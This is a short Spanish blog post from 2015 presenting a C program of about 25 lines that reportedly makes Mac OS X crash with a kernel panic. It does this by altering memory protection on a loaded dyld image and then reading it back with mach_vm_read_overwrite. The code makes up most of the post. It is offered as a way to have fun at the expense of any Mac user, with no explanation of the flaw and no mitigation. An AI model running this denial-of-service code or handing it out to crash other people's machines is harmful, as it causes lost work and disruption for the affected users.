sábado, 21 de febrero de 2015

Kernel Panic en Mac OS X Con Solo 10 lineas de Código

Ya que supongo que esta asumido que en los productos Apple también hay Malware, también os diré que Mac OS X también se pude colgar con muy pocas lineas de código. Ademas, escritas en C.


Estas son este es el código que nos permitirá hacernos unas risas con cualquiera que utilice un Mac Os X en cualquiera de las últimas versiones:

#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach-o/dyld.h>

int
main (int argc, char * argv[])
{
  volatile char * library;
  const mach_vm_size_t page_size = getpagesize ();
  const mach_vm_size_t buffer_size = 3 * page_size;
  char buffer[buffer_size];
  mach_vm_size_t result_size;

  library = (char *) _dyld_get_image_header (1);
  mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
  library[page_size]++;
  library[page_size]--;
  result_size = 0;
  mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);

  return 0;
}

Más Información sobre el script:

Sed Buenos con esto ;) 

No hay comentarios:

Publicar un comentario